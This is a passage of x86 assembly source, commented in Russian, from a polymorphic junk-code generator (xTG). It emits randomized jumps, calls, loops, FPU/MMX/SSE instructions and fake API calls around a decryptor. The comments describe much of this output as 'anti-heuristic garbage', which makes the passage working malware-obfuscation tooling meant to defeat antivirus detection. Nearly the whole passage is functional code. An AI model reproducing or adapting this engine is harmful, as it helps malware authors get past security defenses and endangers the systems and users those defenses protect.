;-------------------------------------------------------------------------------------------------------- push 16 ;максимум есть только 16 таких коротких jmp'ов call [ebp].rgen_addr add al,70h stosb mov eax,edx stosb ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash ;аналогично, смотри выше push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx push ebp call xTG ;генерируем очередную партию мусора (мусор между переходом) pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi dec ecx ;Уменьшаем счётчик на 2 dec ecx sub ecx,edx _jxxsdret_: ret ;выскакиваем ;=====================================[ JXX SHORT IMM8 ]================================================= ;============[ (PUSH 0xXX POP REG32)/(MOV REG32,0xXXXXXXXX) DEC REG32 JXX SHORT IMM8 ]=================== jxx_short_up: ;ГЕНЕРАЦИЯ JXX SHORT прыгающий вверх (на меньший адрес) push 60h ;Генерируем случайное число call [ebp].rgen_addr mov edx,eax add eax,2+1+5 ;mov reg,value (5 byte) + dec reg (1 byte) + jxx short (2 byte) cmp eax,ecx ;Проверяем, влезет ли? jg _jxxsuret_ ;если нет, то выходим ;-------------------------------------------------------------------------------------------------------- push 200h ;узнаем, на какую длину прыгнет jxx short call [ebp].rgen_addr xchg eax,esi cmp esi,7Fh ;и если эта длина меньше 0x80, тогда сгенерим push 0xXX pop reg jl _jxxsupushpop_ ;-------------------------------------------------------------------------------------------------------- _jxxsumov_: ;иначе mov reg,0xXXXXXXXX call free_reg push eax add al,0b8h ;MOV REG32,0xXXXXXXXX stosb xchg eax,esi inc eax stosd dec ecx dec ecx jmp @F ;-------------------------------------------------------------------------------------------------------- _jxxsupushpop_: mov al,6Ah ;PUSH 0xXX POP REG32 stosb xchg eax,esi inc eax stosb call free_reg push eax add eax,58h stosb ;-------------------------------------------------------------------------------------------------------- @@: ;А ТЕПЕРЬ ЕЩЕ ОДИН ВАЖНЫЙ МОМЕНТ! pop eax push eax ;optimazation! shl eax,16 ;т.к. 2 регистра и так трогать нельзя (они будут использованы в декрипторе), add eax,[ebp].regs ;и нам нужен еще один регистр, который трогать (временно) нельзя будет. ;Этот самый регистр и будет использоваться для данной комбы (т.е. mov reg32,0xXXXXXXXX dec reg jxx short) bts eax,31 ;а также, чтобы не случилось глюков при рекурсии, мы временно запрещаем генерить в рекурсии эту комбинацию. ;Потому что, при рекурсии, если выпадет генерация этой же комбы (И ПОДОБНЫХ КСТАТИ ТОЖЕ!), ;то нам снова надо будет тогда брать еще один регистр, а его уже и записывать некуда (иначе он сотрет предыдущий регистр), и ;если мы возьмем еще один регистр, то будут глюки с генерацией других команд - попросту может возникнуть так, что ;регистов свободных не окажется и будет бесконечный цикл и т.п. mov esi,[ebp].xmask1 and esi,11111111111011101011111111111111b ;вот поэтому и ставим временный запрет на генерацию в рекурсии подобных конструкций (простым обнулением нужных бит, ;которые и отвечают за подобные конструкции). Вооот :)! ;btr esi,15;+1=16 ;btr esi,17 ;btr esi,23 ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash push [ebp].regs push [ebp].xmask1 push [ebp].xmask2 mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx mov [ebp].regs,eax mov [ebp].xmask1,esi mov esi,[ebp].xmask2 and esi,11111111111111111111111111101111b ;также ставим временный запрет на генерацию фэйковых апишек (если они разрешены) mov [ebp].xmask2,esi push ebp call xTG ;генерируем порцию мусора pop [ebp].xmask2 pop [ebp].xmask1 pop [ebp].regs pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- pop eax add al,48h ;DEC REG32 stosb ;-------------------------------------------------------------------------------------------------------- sub ecx,6 ;уменьшаем счетчик sub ecx,edx ;etc ;-------------------------------------------------------------------------------------------------------- add edx,3 ;+ 3 byte ( jxx short (2 byte) + dec reg32 (1 byte) ) neg edx ;далее с помощью нехитрой формулы вычисляем место, куда должен указывать jxx short ;-------------------------------------------------------------------------------------------------------- push 2 ;чтобы все было тип-топ, будет генерить только JNE/JE call [ebp].rgen_addr add al,74h stosb xchg eax,edx stosb _jxxsuret_: ret ;============[ (PUSH 0xXX POP REG32)/(MOV REG32,0xXXXXXXXX) DEC REG32 JXX SHORT IMM8 ]=================== ;=====================================[ JXX NEAR IMM32 ]================================================= jxx_near_down: ;ГЕНЕРАЦИЯ JXX NEAR вниз (в сторону больших адресов) push 0B0h ;аналогично многое, смотри выше call [ebp].rgen_addr cmp al,80h ;специально для jxx near (иначе при меньшем должен обычно генерироваться jxx short) jb jxx_near_down;jl ;типо правдаподобно ;) mov edx,eax add eax,6 cmp eax,ecx jg _jxxndret_ ;-------------------------------------------------------------------------------------------------------- mov al,0fh ;весит 6 байт (0x0f 0x8x imm32) stosb ;и начинаем запихивать в буфер push 16 ;etc (смотри выше) call [ebp].rgen_addr add al,80h stosb mov eax,edx stosd ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx push ebp call xTG ;мусор между переходом pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi sub ecx,6 ;уменьшаем счетчик (коррекция его) sub ecx,edx _jxxndret_: ret ;выскакиваем ;=====================================[ JXX NEAR IMM32 ]================================================= ;============[ (PUSH 0xXX POP REG32)/(MOV REG32,0xXXXXXXXX) DEC REG32 JXX NEAR IMM32 ]=================== jxx_near_up: ;ГЕНЕРАЦИЯ JXX NEAR вверх (в строну младших адресов) push 0B0h ;аналогично, смотри выше call [ebp].rgen_addr cmp al,80h jb jxx_near_up;jl mov edx,eax add eax,12 ;mov reg32,0xXXXXXXXX (5 byte) + dec reg32 (1 byte) + jxx near (6 byte) cmp eax,ecx jg _jxxnuret_ ;-------------------------------------------------------------------------------------------------------- push 200h call [ebp].rgen_addr xchg esi,eax cmp esi,7Fh jl _jxxnupushpop_;jb ;-------------------------------------------------------------------------------------------------------- _jxxnumov_: call free_reg push eax add al,0B8h ;MOV REG32,0xXXXXXXXX stosb xchg eax,esi inc eax stosd dec ecx dec ecx jmp @F ;-------------------------------------------------------------------------------------------------------- _jxxnupushpop_: mov al,6Ah stosb ;PUSH 0xXX POP REG32 xchg eax,esi inc eax stosb call free_reg push eax add al,58h stosb ;-------------------------------------------------------------------------------------------------------- @@: pop eax push eax shl eax,16 add eax,[ebp].regs;dword ptr [ebp+30h] bts eax,31 mov esi,[ebp].xmask1 and esi,11111111111011101011111111111111b ;btr esi,17;+1=16 ;btr esi,15 ;btr esi,23 ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash push [ebp].regs push [ebp].xmask1 push [ebp].xmask2 mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx mov [ebp].regs,eax mov [ebp].xmask1,esi mov esi,[ebp].xmask2 and esi,11111111111111111111111111101111b ;также ставим временный запрет на генерацию фэйковых апишек (если они разрешены) mov [ebp].xmask2,esi push ebp call xTG ;мусор между переходом pop [ebp].xmask2 pop [ebp].xmask1 pop [ebp].regs pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- pop eax add al,48h ;DEC REG32 stosb ;-------------------------------------------------------------------------------------------------------- sub ecx,10 sub ecx,edx ;-------------------------------------------------------------------------------------------------------- add edx,7 neg edx ;-------------------------------------------------------------------------------------------------------- mov al,0fh ;JXX NEAR stosb push 2 call [ebp].rgen_addr add al,84h stosb xchg eax,edx stosd ;-------------------------------------------------------------------------------------------------------- _jxxnuret_: ret ;выскакиваем ;============[ (PUSH 0xXX POP REG32)/(MOV REG32,0xXXXXXXXX) DEC REG32 JXX NEAR IMM32 ]=================== ;======================================[ JMP SHORT IMM8 ]================================================ jmp_short: push 50 ;аналогично, смотри выше! call [ebp].rgen_addr inc eax mov edx,eax inc eax inc eax cmp eax,ecx jg _jmpsret_ ;-------------------------------------------------------------------------------------------------------- mov al,0ebh ;и запишем короткий jmp stosb mov eax,edx stosb ;-------------------------------------------------------------------------------------------------------- bt [ebp].xmask1,31 ;а вот это клевая фича:)! jnc _jmpsnomask_ ;сначала смотрим по маске, разрешено ли нам ее применять push -1 ;если да, то...суть в следующем: сразу после джампа ставим любой байт и дальше call [ebp].rgen_addr ;все точно также: генерим сам jmp + очередную порцию мусора. stosb ;А благодаря этому байту создается иллюзия, что генерятся разные команды. Вот так. dec ecx dec edx _jmpsnomask_: ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx push ebp call xTG ;мусор между переходом pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- dec ecx dec ecx ;уменьшаем счетчик на размер jmp short (2 byte) sub ecx,edx ;И на размер порции мусора _jmpsret_: ret ;exit ;======================================[ JMP SHORT IMM8 ]================================================ ;======================================[ JMP NEAR IMM32 ]================================================ jmp_near: push 0B0h ;хех, аналогично, смотри выше call [ebp].rgen_addr cmp al,7Dh jb jmp_near;jl inc eax mov edx,eax add eax,5 ;JMP NEAR (0xE9 0xXX 0xXX 0xXX 0xXX = 5 byte) cmp eax,ecx ;сморим, хватает ли у нас байт для генерации данной команды + порции мусора для нее jg _jmpnret_ ;-------------------------------------------------------------------------------------------------------- mov al,0e9h ;генерим и пихаем в буфер свжеиспеченный jmp near stosb mov eax,edx stosd ;-------------------------------------------------------------------------------------------------------- bt [ebp].xmask1,31 ;смотри выше jnc _jmpnnomask_ push -1 call [ebp].rgen_addr stosb dec ecx dec edx _jmpnnomask_: ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx push ebp call xTG ;генерируем порцию мусора pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- sub ecx,5 sub ecx,edx _jmpnret_: ret ;======================================[ JMP NEAR IMM32 ]================================================ ;======================================[ CALL NEAR IMM32 ]=============================================== call_near: push 50 ;аналогично, смотри выше call [ebp].rgen_addr mov edx,eax ;сохраняем размер первой порции мусора push 50 call [ebp].rgen_addr inc eax ;+1 байт для фичи (чтобы типо :) создавались разные команды после call'а mov esi,eax ;сохраним размер второй порции мусора lea eax,[eax+edx+10] ;10 byte = call near (5 byte) + push ebp (1 byte) + mov ebp,esp (2 byte) + pop ebp (1 byte) + pop reg (1 byte) cmp eax,ecx jg _callnret_ ;-------------------------------------------------------------------------------------------------------- mov al,0e8h ;генерируем и записываем call near imm32 stosb mov eax,esi stosd ;-------------------------------------------------------------------------------------------------------- bt [ebp].xmask1,31 ;снова эта фича с байтом jnc _callnnomask_ push -1 call [ebp].rgen_addr stosb dec ecx ;корректируем счетчик и размер мусора (т.к. записали этот 1 байт) dec esi _callnnomask_: ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,esi push ebp call xTG ;мусор между переходом - генерим рекурсивно pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- mov al,55h stosb ;PUSH EBP mov ax,0ec8bh ;MOV EBP,ESP stosw ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx push ebp call xTG ;-||- -||- -||- pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- mov al,5dh ;POP EBP stosb call free_reg ;получаем свободный регистр add al,58h ;добавляем базовый регистр 0x58 stosb ;POP REG32 ;-------------------------------------------------------------------------------------------------------- sub ecx,10 ;Уменьшаем счётчик на 10 sub ecx,edx ;Уменьшаем на размер порции мусорных команд sub ecx,esi ;Уменьшаем на размер порции мусора _callnret_: ret ;на выход:)! ;======================================[ CALL NEAR IMM32 ]=============================================== ;======================================[ LOOP SHORT IMM8 ]=============================================== loopx_r32: ;аналогично, смотри выше ;)! mov eax,[ebp].regs cmp al,1 ;сначала смотрим, есть ли среди основных регистров (т.е. тех, что используются в декрипторе) ECX? je _loopxret_ ;если есть, то данную команду генерить не будет, и выходим cmp ah,1 je _loopxret_ push 50h ;иначе поехали! call [ebp].rgen_addr mov edx,eax add eax,2+5 ;7 byte = mov ecx,0xXXXXXX (5 byte) + loop (2 byte) cmp eax,ecx ;Проверяем, влезет ли? jg _loopxret_ ;если нет, то на выход нафиг ;-------------------------------------------------------------------------------------------------------- push 200h call [ebp].rgen_addr xchg esi,eax cmp esi,7Fh jl _loopxpushpop_;jb ;-------------------------------------------------------------------------------------------------------- mov al,0b9h;ecx ;MOV ECX,0xXXXXXXXX stosb xchg eax,esi inc eax stosd dec ecx dec ecx jmp @F ;-------------------------------------------------------------------------------------------------------- _loopxpushpop_: mov al,6Ah ;PUSH 0xXX POP ECX stosb xchg eax,esi inc eax stosb mov al,59h stosb ;-------------------------------------------------------------------------------------------------------- @@: mov eax,80010000h add eax,[ebp].regs ;bts eax,31 mov esi,[ebp].xmask1 and esi,11111111111011101011111111111111b ;btr esi,15;+1=16 ;btr esi,17 ;btr esi,23 ;-------------------------------------------------------------------------------------------------------- push [ebp].buf_for_trash push [ebp].size_trash push [ebp].regs push [ebp].xmask1 push [ebp].xmask2 mov [ebp].buf_for_trash,edi mov [ebp].size_trash,edx mov [ebp].regs,eax mov [ebp].xmask1,esi mov esi,[ebp].xmask2 and esi,11111111111111111111111111101111b ;также ставим временный запрет на генерацию фэйковых апишек (если они разрешены) mov [ebp].xmask2,esi push ebp call xTG ;генерация мусорных команд pop [ebp].xmask2 pop [ebp].xmask1 pop [ebp].regs pop [ebp].size_trash pop [ebp].buf_for_trash xchg eax,edi ;-------------------------------------------------------------------------------------------------------- sub ecx,5 sub ecx,edx ;-------------------------------------------------------------------------------------------------------- inc edx inc edx neg edx ;-------------------------------------------------------------------------------------------------------- push 3 call [ebp].rgen_addr add al,0E0h stosb ;генерим LOOP SHORT IMM8 xchg eax,edx stosb _loopxret_: ret ;======================================[ LOOP SHORT IMM8 ]=============================================== ;================================[ BSF/BTR/IMUL etc REG32,REG32 ]======================================== three_byte_r: cmp ecx,3 ;проверка: есть байтики для записи данной команды? jl _3bret_ ;неудачно? тогда на выход mov al,0fh ;и начинаем генерить и записывать данную команду stosb lea esi,[ebx+(three_byte_opcode - _delta_trash_)] ;в esi - указатель на ;табличку для генерации 3-х байтных команд push 16 call [ebp].rgen_addr add esi,eax movsb call free_reg shl eax,3 add al,0C0h xchg eax,edx call free_reg add al,dl stosb sub ecx,3 ;счетчик-=3 _3bret_: ret ;выходим:)! ;================================[ BSF/BTR/IMUL etc REG32,REG32 ]======================================== ;====================================[ CMOVX REG32,REG32 ]=============================================== cmovx_r32: cmp ecx,3 ;проверка jl _cmovxret_ mov al,0fh stosb push 16 call [ebp].rgen_addr add al,40h stosb call free_reg ;получаем свободный регистр shl eax,3 ;Умножаем его на 8 add al,0c0h xchg eax,edx call rnd_reg ;получаем случайный регистр add al,dl stosb sub ecx,3 ;Уменьшаем счётчик на 3 _cmovxret_: ret ;возвращаемся ;====================================[ CMOVX REG32,REG32 ]=============================================== ;====================================[ BSWAP REG32,REG32 ]=============================================== bswap_r32: cmp ecx,2 jl inc_dec_r32 mov al,0Fh stosb call free_reg add al,0C8h stosb dec ecx dec ecx ret ;====================================[ BSWAP REG32,REG32 ]=============================================== ;========================[ MOV/XCHG/LEA REG8/REG32,[ESP +(-) 0xXX] ]===================================== mov_lea_esp: ;БУДЕТ ИСПОЛЬЗОВАТЬСЯ В КАЧЕСТВЕ АНТИЭВРИСТИЧЕСКОГО МУСОРА cmp ecx,4 ;проверка, есть ли еще варик записать и эту команду? jl _mleret_ ;если болты, то нахер отсюда push 1Ch ;иначе начинаем генерировать байт за байтом ) call [ebp].rgen_addr lea esi,[eax+4] ;получаем случайное число, кратное 4 and eax,3 sub esi,eax ;-------------------------------------------------------------------------------------------------------- push 2 ;далее случайно определяем, команды с каким разрядным (8 или 32) регистром генерить? call [ebp].rgen_addr mov edx,eax ;резалт сохраняем в edx (1 - 32-разрядный регистр, иначе 8-разрядный) add eax,3 push eax;4 ;после смотрим, какое смещение должно быть у esp (т.е. [esp+0xXX] или [esp-0xXX]) call [ebp].rgen_addr ;естесно, для таких команд как например xchg dword ptr [esp+0x14],edx - нельзя делать +0x14, а можно только -0x14 shl eax,1 ;иначе сотрутся важные для нас значения в стэке cmp eax,3 jl @F ;-------------------------------------------------------------------------------------------------------- push eax push 2 call [ebp].rgen_addr ;а для таких команд как lea edx,dword ptr [esp+(-)0x14] - выбираем рандомно знак для смещения, т.к. это роли не играет test eax,eax pop eax jne _mlenoneg_ @@: neg esi ;и меняем знак у только что сгенерированного смещения (он же 1 байт) ;-------------------------------------------------------------------------------------------------------- _mlenoneg_: add al,086h;087h ;продолжаем строить и записывать команду add al,dl stosb test edx,edx jne _mler32_ call free_reg_r8 jmp @F _mler32_: call free_reg @@: shl eax,3 add al,44h stosb mov al,24h stosb xchg eax,esi stosb ;-------------------------------------------------------------------------------------------------------- sub ecx,4 _mleret_: ret ;========================[ MOV/XCHG/LEA REG8/REG32,[ESP +(-) 0xXX] ]===================================== ;=================================[ CMP REG8/REG32,[ESP +(-) 0xXX] ]===================================== cmp_esp: ;БУДЕТ ИСПОЛЬЗОВАТЬСЯ В КАЧЕСТВЕ АНТИЭВРИСТИЧЕСКОГО МУСОРА cmp ecx,50+4+2 ;проверяем, есть ли еще место для записи данной команды (4 байта) jl _cmpespret_ ;+ jxx short (2 byte) + для этого перехода порция мусора (max 50 byte) push 4 ;если все тип-топ, то начинаем генерить и записывать call [ebp].rgen_addr add al,38h stosb call rnd_reg ;аналогично, смотри выше shl eax,3 add al,44h stosb mov al,24h stosb push 1Ch call [ebp].rgen_addr lea esi,[eax+4] and eax,3 sub esi,eax push 2 call [ebp].rgen_addr test eax,eax jne @F neg esi @@: xchg eax,esi stosb sub ecx,4 jmp jxx_short_down _cmpespret_: ret ;=================================[ CMP REG8/REG32,[ESP +(-) 0xXX] ]===================================== ;=================================[ MOV/XCHG/LEA REG8/REG32,[ADDRESS] ]================================= mov_lea_addr: ;БУДЕТ ИСПОЛЬЗОВАТЬСЯ В КАЧЕСТВЕ АНТИЭВРИСТИЧЕСКОГО МУСОРА cmp [ebp].beg_addr,0 ;сначала проверим, в нужных параметрах нули? если да, то значит данные команды генерить не надо и выходим je _mlaret_ cmp [ebp].end_addr,0 je _mlaret_ mov esi,[ebp].end_addr ;также проверим, чтобы разница между большим и меньшим адресом была >=4 ы sub esi,[ebp].beg_addr ;чтобы можно было пользоваться этим местом :) sub esi,4 jc _mlaret_ cmp ecx,6 ;если все ок, теперь проверим, есть ли место в буфере (или где там) для записи этой команды? jl _mlaret_ ;-------------------------------------------------------------------------------------------------------- push 2 ;если и тут прокатило, приступим ;)! call [ebp].rgen_addr ;аналогично, смотри выше mov edx,eax add eax,3 push eax;4 call [ebp].rgen_addr shl eax,1 add al,086h;087h add al,dl stosb test edx,edx jne _mlar32_ call free_reg_r8 jmp @F _mlar32_: call free_reg @@: shl eax,3 add al,5h stosb push esi call [ebp].rgen_addr add eax,[ebp].beg_addr stosd sub ecx,6 _mlaret_: ret ;=================================[ MOV/XCHG/LEA REG8/REG32,[ADDRESS] ]================================= ;====================================[ CMP REG8/REG32,[ADDRESS] ]======================================== cmp_addr: ;БУДЕТ ИСПОЛЬЗОВАТЬСЯ В КАЧЕСТВЕ АНТИЭВРИСТИЧЕСКОГО МУСОРА cmp [ebp].end_addr,0 ;АНАЛОГИЧНО, СМОТРИ ВЫШЕ! je _cmpaddrret_ cmp [ebp].beg_addr,0 je _cmpaddrret_ mov esi,[ebp].end_addr sub esi,[ebp].beg_addr sub esi,4 jc _cmpaddrret_ cmp ecx,50+6+2 jl _cmpaddrret_ ;-------------------------------------------------------------------------------------------------------- push 4 call [ebp].rgen_addr add al,38h stosb call rnd_reg shl eax,3 add al,05h stosb push esi call [ebp].rgen_addr add eax,[ebp].beg_addr stosd sub ecx,6 jmp jxx_short_down _cmpaddrret_: ret ;====================================[ CMP REG8/REG32,[ADDRESS] ]======================================== ;=======================================[ FPU (x87) COMMAND ]============================================ fpux: ;ГЕНЕРАЦИЯ FPU ИНСТРУКЦИЙ cmp ecx,2 jl inc_dec_r32 push 8 call [ebp].rgen_addr add al,0D8h ;да уж ), короче смотри в маны по этим командам + отладчик + что-то еще stosb cmp al,0D8h je _0xD8_0xDC_ cmp al,0DCh je _0xD8_0xDC_ cmp al,0D9h je _0xD9_0xDE_ cmp al,0DEh je _0xD9_0xDE_ ;-------------------------------------------------------------------------------------------------------- push 20h call [ebp].rgen_addr add al,0C0h stosb jmp _fpuxret_ ;-------------------------------------------------------------------------------------------------------- _0xD8_0xDC_: push 40h call [ebp].rgen_addr add al,0C0h stosb jmp _fpuxret_ ;-------------------------------------------------------------------------------------------------------- _0xD9_0xDE_: push 2 call [ebp].rgen_addr imul eax,eax,3 shl eax,4 xchg eax,edx push 10h call [ebp].rgen_addr add eax,edx add al,0C0h stosb ;-------------------------------------------------------------------------------------------------------- _fpuxret_: dec ecx dec ecx ret ;=======================================[ FPU (x87) COMMAND ]============================================ ;==========================================[ MMX COMMAND ]=============================================== mmxx: ;ГЕНЕРАЦИЯ MMX ИНСТРУКЦИЙ cmp ecx,3 ;аналогично, смотри выше jl _mmxxret_ mov al,0Fh stosb push 2 call [ebp].rgen_addr test eax,eax jne _mmxx_opc_from_table_ push 12;0Ch ;некоторые команды будем так генерить call [ebp].rgen_addr add al,60h stosb jmp @F ;-------------------------------------------------------------------------------------------------------- _mmxx_opc_from_table_: ;а другие (для удобства) через табличку их байт lea esi,[ebx+(mmx_opcode - _delta_trash_)] push 36 call [ebp].rgen_addr add esi,eax movsb ;-------------------------------------------------------------------------------------------------------- @@: call free_reg ;стоит отметить, для свободный (не любой, а свободный!) регистр в отличие от других команд add al,0C0h ;в этих (mmx) стоит на другом месте xchg eax,edx call rnd_reg shl eax,3 add al,dl stosb ;-------------------------------------------------------------------------------------------------------- sub ecx,3 _mmxxret_: ret ;==========================================[ MMX COMMAND ]=============================================== ;==========================================[ SSE COMMANDS ]============================================== ssex: ;аналогично, смотри выше cmp ecx,3 jl _ssexret_ mov al,0Fh stosb push 2 call [ebp].rgen_addr test eax,eax jne _ssex_opc_from_table_ push 0Ah;0Ch call [ebp].rgen_addr add al,50h stosb jmp @F ;-------------------------------------------------------------------------------------------------------- _ssex_opc_from_table_: lea esi,[ebx+(sse_opcode - _delta_trash_)] push 26 call [ebp].rgen_addr add esi,eax movsb ;-------------------------------------------------------------------------------------------------------- @@: call free_reg shl eax,3 add al,0C0h xchg eax,edx call rnd_reg add al,dl stosb ;-------------------------------------------------------------------------------------------------------- sub ecx,3 _ssexret_: ret ;==========================================[ SSE COMMANDS ]============================================== ;===========================================[ SETX REG8 ]================================================ setx_r8: cmp ecx,3 jl _setxret_ mov al,0Fh stosb push 16 call [ebp].rgen_addr ;ГСЧ add al,90h stosb call free_reg_r8 add al,0C0h stosb sub ecx,3 _setxret_: ret ;===========================================[ SETX REG8 ]================================================ ;==============================[ PUSH EBP/MOV EBP,ESP (+ SUB ESP,XX) ]=================================== prolog1: cmp ecx,6 jl inc_dec_r32 mov al,55h stosb mov ax,0EC8Bh stosw mov ax,0EC83h stosw push (60h - FOREBP) call [ebp].rgen_addr lea esi,[eax + FOREBP + 8] and eax,3 sub esi,eax xchg eax,esi stosb sub ecx,6 _prol1ret_: ret ;==============================[ PUSH EBP/MOV EBP,ESP (+ SUB ESP,XX) ]=================================== ;================================[ (MOV EBP,ESP/POP EBP) (LEAVE) ]======================================= epilog1: cmp ecx,3 jl inc_dec_r32 dec ecx mov ax,0E58Bh stosw mov al,5Dh stosb dec ecx dec ecx _epil1ret_: ret ;================================[ (MOV EBP,ESP/POP EBP) (LEAVE) ]======================================= ;========================[ MOV/XCHG/LEA REG8/REG32,[EBP +(-) 0xXX] ]===================================== mov_lea_ebp: ;БУДЕТ ИСПОЛЬЗОВАТЬСЯ В КАЧЕСТВЕ АНТИЭВРИСТИЧЕСКОГО МУСОРА ;при желании можно объединить с почти такой же функцией (mo_lea_esp) cmp ecx,3 ;проверка, есть ли еще варик записать и эту команду? jl _mlebpret_ ;если болты, то нахер отсюда push FOREBP ;иначе начинаем генерировать байт за байтом ) call [ebp].rgen_addr lea esi,[eax+4] ;получаем случайное число, кратное 4 and eax,3 sub esi,eax ;-------------------------------------------------------------------------------------------------------- push 2 ;далее случайно определяем, команды с каким разрядным (8 или 32) регистром генерить? call [ebp].rgen_addr mov edx,eax ;резалт сохраняем в edx (1 - 32-разрядный регистр, иначе 8-разрядный) add eax,3 push eax;4 ;после смотрим, какое смещение должно быть у ebp (т.е. [ebp+0xXX] или [ebp-0xXX]) call [ebp].rgen_addr ;естесно, для таких команд как например xchg dword ptr [ebp+0x14],edx - нельзя делать +0x14, а можно только -0x14 shl eax,1 ;иначе сотрутся важные для нас значения в стэке cmp eax,3 jl @F ;-------------------------------------------------------------------------------------------------------- push eax push 2 call [ebp].rgen_addr ;а для таких команд как lea edx,dword ptr [ebp+(-)0x14] - выбираем рандомно знак для смещения, т.к. это роли не играет test eax,eax pop eax jne _mlebpnoneg_ @@: neg esi ;и меняем знак у только что сгенерированного смещения (он же 1 байт) ;-------------------------------------------------------------------------------------------------------- _mlebpnoneg_: add al,086h;087h ;продолжаем строить и записывать команду add al,dl stosb test edx,edx jne _mlebpr32_ call free_reg_r8 jmp @F _mlebpr32_: call free_reg @@: shl eax,3 add al,45h stosb xchg eax,esi stosb ;-------------------------------------------------------------------------------------------------------- sub ecx,3 _mlebpret_: ret ;========================[ MOV/XCHG/LEA REG8/REG32,[EBP +(-) 0xXX] ]===================================== ;=================================[ CMP REG8/REG32,[EBP +(-) 0xXX] ]===================================== cmp_ebp: ;БУДЕТ ИСПОЛЬЗОВАТЬСЯ В КАЧЕСТВЕ АНТИЭВРИСТИЧЕСКОГО МУСОРА ;при желании можно объединить с почти такой же функцией (cmp_esp) cmp ecx,50+3+2 ;проверяем, есть ли еще место для записи данной команды (3 байта) jl _cmpebpret_ ;+ jxx short (2 byte) + для этого перехода порция мусора (max 50 byte) push 4 ;если все тип-топ, то начинаем генерить и записывать call [ebp].rgen_addr add al,38h stosb call rnd_reg ;аналогично, смотри выше shl eax,3 add al,45h stosb push FOREBP call [ebp].rgen_addr lea esi,[eax+4] and eax,3 sub esi,eax push 2 call [ebp].rgen_addr test eax,eax jne @F neg esi @@: xchg eax,esi stosb sub ecx,3 jmp jxx_short_down _cmpebpret_: ret ;=================================[ CMP REG8/REG32,[EBP +(-) 0xXX] ]===================================== ;=====================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG8/REG32,[EBP+(-) 0xXX] ]=========================== add_sub_ebp: cmp ecx,03h ;влезает ли ? jl _asebpret_ push FOREBP call [ebp].rgen_addr lea esi,[eax+4] and eax,3 sub esi,eax push 7;4 ;генерим уже саму команду call [ebp].rgen_addr shl eax,3;04h ;с таким же успехом можно было и ебашить cmp, но это хуета, поэтому пропускаем xchg eax,edx push 4 call [ebp].rgen_addr add al,dl stosb xchg eax,edx test dl,2 je @F push 2 call [ebp].rgen_addr test eax,eax jne _asebpnoneg_ @@: neg esi _asebpnoneg_: test dl,1 je @F call free_reg ;получаем свободный регистр (32 разряда) jmp _asebpregok_ @@: call free_reg_r8 _asebpregok_: shl al,03h add al,45h stosb ;пихаем в буфер xchg eax,esi stosb sub ecx,3 _asebpret_: ret ;=====================[ ADC/ADD/AND/OR/SBB/SUB/XOR REG8/REG32,[EBP+(-) 0xXX] ]=========================== ;===============================[ CALL DWORD PTR [
] etc ]======================================= ;-------------------------------------------------------------------------------------------------------- ;чтобы была возможность генерить фэйковые апишки, надо раскоментить эту подфункцию ;-------------------------------------------------------------------------------------------------------- fakeapi: ;генерация фэйковых апишек ;comment ! jmp _genfakeapi_ ;вызывать данную подфунку только тогда, когда занятые регистры не EAX,ECX,EDX, а другие - так как после вызова апишек значения этих регистров может измениться. Или придумать другое include faka.asm ;подключаем специальный модуль для этого _genfakeapi_: cmp ecx,15 ;обязательно корректировать это значение, если добавляются и т.п. новые фэйковые апишки etc jl _fakeapiret_ cmp [ebp].mapped_addr,0 ;если данное поле =0, то на выход je _fakeapiret_ xor eax,eax push eax ;reserved1 push eax ;api_va push eax ;api_hash push edi ;buf_for_api push [ebp].mapped_addr ;mapped_addr push [ebp].rgen_addr ;rgen_addr mov edx,esp assume edx:ptr FAKEAPIGEN push edx call FAKA ;и вызываем функу генерации фэйковых апишек add esp,6*4 mov edi,eax ;скорректируем буфер для записи дальнейшего мусора sub eax,[edx].buf_for_api ;узнаем, сколько байт мы только что записали sub ecx,eax ;скорректируем _fakeapiret_: ;! ret ;===============================[ CALL DWORD PTR [] etc ]======================================= ;======================================================================================================== ;ВЫХОД ИЗ ГЕНЕРАТОРА МУСОРА ;======================================================================================================== end_trash: ;выходим из генератора pop eax mov dword ptr [esp+1Ch],edi ;сохраняем в EAX значение EDI (адрес, куда дальше записывать) popad ret 4 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции xTG ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx comment % 